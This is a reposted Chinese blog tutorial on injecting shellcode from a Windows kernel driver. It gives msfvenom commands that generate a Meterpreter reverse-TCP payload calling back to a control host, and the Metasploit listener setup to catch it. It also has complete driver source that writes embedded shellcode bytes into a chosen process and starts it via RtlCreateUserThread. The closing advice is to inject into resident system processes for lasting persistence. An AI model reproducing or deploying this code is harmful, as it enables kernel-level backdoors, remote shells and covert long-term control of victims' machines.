主頁 > 後端開發 > 驅動開發:內核ShellCode執行緒注入

驅動開發:內核ShellCode執行緒注入

2023-06-14 10:25:37 後端開發

還記得《驅動開發:內核LoadLibrary實作DLL注入》中所使用的注入技術嗎,我們通過RtlCreateUserThread函式呼叫實作了注入DLL到應用層并執行,本章將繼續探索一個簡單的問題,如何注入ShellCode代碼實作反彈Shell,這里需要注意一般情況下RtlCreateUserThread需要傳入兩個最重要的引數,一個是StartAddress開始執行的記憶體塊,另一個是StartParameter傳入記憶體塊的變數串列,而如果將StartParameter地址填充為NULL則表明不傳遞任何引數,也就是只在執行緒中執行ShellCode代碼,利用這個特點我們就可以在上一篇文章的基礎之上簡單改進代碼即可實作驅動級后門注入的功能,

  • 被控主機IP: 10.0.66.11
  • 控制主機IP: 10.0.66.22

為了能實作反彈后門的功能,我們首先需要使用Metasploit工具生成一段ShellCode代碼片段,以32位為例,生成32為反彈代碼,

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

生成ShellCode代碼片段如下圖所示;

其次服務端需要偵聽特定埠,配置引數如下所示;

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

服務端執行后則會進入偵聽等待階段,輸出效果圖如下所示;

此時我們使用如下代碼片段,并自行修改行程PID為指定目標行程,編譯生成驅動程式;

// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]

#include "lyshark.h"

// 定義函式指標
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
	IN HANDLE ProcessHandle,
	IN PSECURITY_DESCRIPTOR SecurityDescriptor,
	IN BOOLEAN CreateSuspended,
	IN ULONG StackZeroBits,
	IN OUT size_t StackReserved,
	IN OUT size_t StackCommit,
	IN PVOID StartAddress,
	IN PVOID StartParameter,
	OUT PHANDLE ThreadHandle,
	OUT PCLIENT_ID ClientID
);

// 遠程執行緒注入函式
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	PEPROCESS pEProcess = NULL;
	KAPC_STATE ApcState = { 0 };

	PfnRtlCreateUserThread RtlCreateUserThread = NULL;
	HANDLE hThread = 0;

	__try
	{
		// 獲取RtlCreateUserThread函式的記憶體地址
		UNICODE_STRING ustrRtlCreateUserThread;
		RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
		RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
		if (RtlCreateUserThread == NULL)
		{
			return FALSE;
		}

		// 根據行程PID獲取行程EProcess結構
		status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
		if (!NT_SUCCESS(status))
		{
			return FALSE;
		}

		// 附加到目標行程內
		KeStackAttachProcess(pEProcess, &ApcState);

		// 驗證行程是否可讀寫
		if (!MmIsAddressValid(pRing3Address))
		{
			return FALSE;
		}

		// 啟動注入執行緒
		status = RtlCreateUserThread(ZwCurrentProcess(),
			NULL,
			FALSE,
			0,
			0,
			0,
			pRing3Address,
			NULL,
			&hThread,
			NULL);
		if (!NT_SUCCESS(status))
		{
			return FALSE;
		}

		return TRUE;
	}

	__finally
	{
		// 釋放物件
		if (pEProcess != NULL)
		{
			ObDereferenceObject(pEProcess);
			pEProcess = NULL;
		}

		// 取消附加行程
		KeUnstackDetachProcess(&ApcState);
	}

	return FALSE;
}

VOID Unload(PDRIVER_OBJECT pDriverObj)
{
	DbgPrint("[-] 驅動卸載 \n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
	DbgPrint("Hello LyShark.com \n");

	ULONG process_id = 5844;
	DWORD create_size = 1024;
	DWORD64 ref_address = 0;

	// -------------------------------------------------------
	// 應用層開堆
	// -------------------------------------------------------

	NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address);

	DbgPrint("對端行程: %d \n", process_id);
	DbgPrint("分配長度: %d \n", create_size);
	DbgPrint("分配的內核堆基址: %p \n", ref_address);

	// 設定注入路徑,轉換為多位元組
	UCHAR ShellCode[] =
		"\xdb\xde\xd9\x74\x24\xf4\x5a\xbe\x12\x21\xe9\xef\x31\xc9\xb1"
		"\x59\x31\x72\x19\x83\xc2\x04\x03\x72\x15\xf0\xd4\x15\x07\x7b"
		"\x16\xe6\xd8\xe3\x26\x34\x51\x06\x2c\x33\x30\xf8\x26\x11\xb9"
		"\x73\x6a\x82\x4a\xf1\xa3\xa5\xfb\xbf\x95\x88\xfc\x0e\x1a\x46"
		"\x3e\x11\xe6\x95\x13\xf1\xd7\x55\x66\xf0\x10\x20\x0c\x1d\xcc"
		"\xe4\x65\xb3\xe1\x81\x38\x0f\x03\x46\x37\x2f\x7b\xe3\x88\xdb"
		"\x37\xea\xd8\xa8\x90\xcc\x53\xe6\x38\x5d\x65\x25\xbd\x94\x11"
		"\xf5\xf7\x17\x25\x8e\x3c\xd3\xd8\x46\x0d\x23\x76\xa7\xa1\xae"
		"\x86\xe0\x06\x51\xfd\x1a\x75\xec\x06\xd9\x07\x2a\x82\xfd\xa0"
		"\xb9\x34\xd9\x51\x6d\xa2\xaa\x5e\xda\xa0\xf4\x42\xdd\x65\x8f"
		"\x7f\x56\x88\x5f\xf6\x2c\xaf\x7b\x52\xf6\xce\xda\x3e\x59\xee"
		"\x3c\xe6\x06\x4a\x37\x05\x50\xea\xb8\xd5\x5d\xb6\x2e\x19\x90"
		"\x49\xae\x35\xa3\x3a\x9c\x9a\x1f\xd5\xac\x53\x86\x22\xa5\x74"
		"\x39\xfc\x0d\x14\xc7\xfd\x6d\x3c\x0c\xa9\x3d\x56\xa5\xd2\xd6"
		"\xa6\x4a\x07\x42\xad\xdc\xa2\x92\xf3\x0a\xdb\x90\xf3\x15\x14"
		"\x1d\x15\x09\x7a\x4d\x8a\xea\x2a\x2d\x7a\x83\x20\xa2\xa5\xb3"
		"\x4a\x69\xce\x5e\xa5\xc7\xa6\xf6\x5c\x42\x3c\x66\xa0\x59\x38"
		"\xa8\x2a\x6b\xbc\x67\xdb\x1e\xae\x90\xbc\xe0\x2e\x61\x29\xe0"
		"\x44\x65\xfb\xb7\xf0\x67\xda\xff\x5e\x97\x09\x7c\x98\x67\xcc"
		"\xb4\xd2\x5e\x5a\xf8\x8c\x9e\x8a\xf8\x4c\xc9\xc0\xf8\x24\xad"
		"\xb0\xab\x51\xb2\x6c\xd8\xc9\x27\x8f\x88\xbe\xe0\xe7\x36\x98"
		"\xc7\xa7\xc9\xcf\x5b\xaf\x35\x8d\x73\x08\x5d\x6d\xc4\xa8\x9d"
		"\x07\xc4\xf8\xf5\xdc\xeb\xf7\x35\x1c\x26\x50\x5d\x97\xa7\x12"
		"\xfc\xa8\xed\xf3\xa0\xa9\x02\x28\x53\xd3\x6b\xcf\x94\x24\x62"
		"\xb4\x95\x24\x8a\xca\xaa\xf2\xb3\xb8\xed\xc6\x87\xb3\x58\x6a"
		"\xa1\x59\xa2\x38\xb1\x4b";

	// -------------------------------------------------------
	// 寫出資料到記憶體
	// -------------------------------------------------------

	ReadMemoryStruct ptr;

	ptr.pid = process_id;
	ptr.address = ref_address;
	ptr.size = strlen(ShellCode);

	// 需要寫入的資料
	ptr.data = https://www.cnblogs.com/LyShark/p/ExAllocatePool(NonPagedPool, ptr.size);

	// 回圈設定
	for (int i = 0; i < ptr.size; i++)
	{
		ptr.data[i] = ShellCode[i];
	}

	// 寫記憶體
	MDLWriteMemory(&ptr);
	ExFreePool(ptr.data);

	// -------------------------------------------------------
	// 執行開執行緒函式
	// -------------------------------------------------------

	// 執行執行緒注入
	// 引數1:PID
	// 引數2:LoadLibraryW記憶體地址
	// 引數3:當前DLL路徑
	BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0);
	if (flag == TRUE)
	{
		DbgPrint("[*] 已完成行程 %d | 注入地址 %p \n", process_id, ref_address);
	}

	DriverObject->DriverUnload = Unload;
	return STATUS_SUCCESS;
}

編譯并在客戶端運行這個驅動程式,則會將ShellCode反彈后門注入到PID=5844行程內,輸出效果圖如下所示;

此時回到服務端程式,則可看到反彈Shell會話,輸出效果圖如下所示;

當然該方法也可注入自定義ShellCode代碼,也可實作對某個游戲的Call呼叫功能等,上文中只是為了通用性而演示的一個案例,在真實的實戰環境中,讀者可以將代碼注入到系統常駐行程上,這樣系統啟動后自動注入代碼以此來實作長久的權限維持,

文章作者:lyshark (王瑞)
文章出處:https://www.cnblogs.com/LyShark/p/17175249.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/555151.html

標籤:C++

上一篇:vs2022 wxWidgets

下一篇:返回列表

標籤雲
其他(160965) Python(38226) JavaScript(25495) Java(18235) C(15237) 區塊鏈(8270) C#(7972) AI(7469) 爪哇(7425) MySQL(7251) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5875) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4593) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2435) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1984) 功能(1967) HtmlCss(1966) Web開發(1951) C++(1940) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • 驅動開發:內核ShellCode執行緒注入

    還記得`《驅動開發:內核LoadLibrary實作DLL注入》`中所使用的注入技術嗎,我們通過`RtlCreateUserThread`函式呼叫實作了注入DLL到應用層并執行,本章將繼續探索一個簡單的問題,如何注入`ShellCode`代碼實作反彈Shell,這里需要注意一般情況下`RtlCreat... ......

    uj5u.com 2023-06-14 10:25:37 more
  • vs2022 wxWidgets

    # 下載 https://www.wxwidgets.org/downloads/ 下載壓縮包即可 ![image](https://img2023.cnblogs.com/blog/916065/202306/916065-20230614040303993-2082032985.png) # 編 ......

    uj5u.com 2023-06-14 08:34:12 more
  • Nexus3 重置 admin 賬號密碼

    # 問題背景 nexus3 的 admin 賬號密碼忘記了,需要重置。 # 環境說明 ``` nexus 基于 docker-compose 部署,版本 nexus3.26 docker 鏡像 sonatype/nexus3:3.26.1 ``` # 操作步驟 參考: https://support ......

    uj5u.com 2023-06-14 08:33:43 more
  • OpenFoam——自定義求解器

    ## 1、求解器 ### 1.1 復制原始碼 本案例以icoFoam為例,復制【openFOAM/OpenFOAM-9/applications/solvers/incompressible/icoFoam】檔案夾至run檔案夾下(我的是【openFOAM/mtl-9/run/solvers/inco ......

    uj5u.com 2023-06-14 08:33:09 more
  • C++面試八股文:什么是RAII?

    某日二師兄參加XXX科技公司的C++工程師開發崗位第13面: > 面試官:什么是`RAII`? > > 二師兄:`RAII`是`Resource Acquisition Is Initialization`的縮寫。翻譯成中文是資源獲取即初始化。 > > 面試官:`RAII`有什么特點和優勢? > > ......

    uj5u.com 2023-06-14 08:32:46 more
  • SpringBoot啟動類@SpringBootApplication注解

    在springBoot的啟動類中,提供了一個mai函式的程式入口,來啟動加載SpringBoot程式,那么注解@SpringBootApplication,通過原始碼可以看到,它相當于@ComponentScan + @EnableAutoConfiguration + @SpringBootConf ......

    uj5u.com 2023-06-14 08:32:35 more
  • 現代C++學習指南-方向篇

    C++是一門有著四十年歷史的語言,先后經歷過四次版本大升級(誕生、98、11、17(20),14算小升級)。每次升級都是很多問題和解決方案的取舍。了解這些歷史,能更好地幫助我們理清語言的發展脈絡。所以接下來我將借它的發展歷程,談一談我對它的理解,最后給出我認為比較合理的學習路線指南。 ### C++ ......

    uj5u.com 2023-06-14 08:32:28 more
  • celery筆記三之task和task的呼叫

    > 本文首發于公眾號:Hunter后端 > 原文鏈接:[celery筆記三之task和task的呼叫](https://mp.weixin.qq.com/s/AIobDZVDWV3r_XauvmkVKA) 這一篇筆記介紹 task 和 task 的呼叫。 以下是本篇筆記目錄: 1. 基礎的 task ......

    uj5u.com 2023-06-14 08:27:13 more
  • 現代C++學習指南-型別系統

    > 在前一篇,我們提供了一個方向性的指南,但是學什么,怎么學卻沒有詳細展開。本篇將在前文的基礎上,著重介紹下怎樣學習C++的型別系統。 ### 寫在前面 在進入型別系統之前,我們應該先達成一項共識——盡可能使用C++的現代語法。眾所周知,出于兼容性的考慮,C++中很多語法都是合法的。但是隨著新版本的 ......

    uj5u.com 2023-06-14 08:16:26 more
  • 【解決一個小問題】golang 的 `-race`選項導致 unsafe代碼 panic

    **作者:張富春(ahfuzhang),轉載時請注明作者和參考鏈接,謝謝!** * [cnblogs博客](https://www.cnblogs.com/ahfuzhang/) * [zhihu](https://www.zhihu.com/people/ahfuzhang/posts) * [G ......

    uj5u.com 2023-06-14 08:15:18 more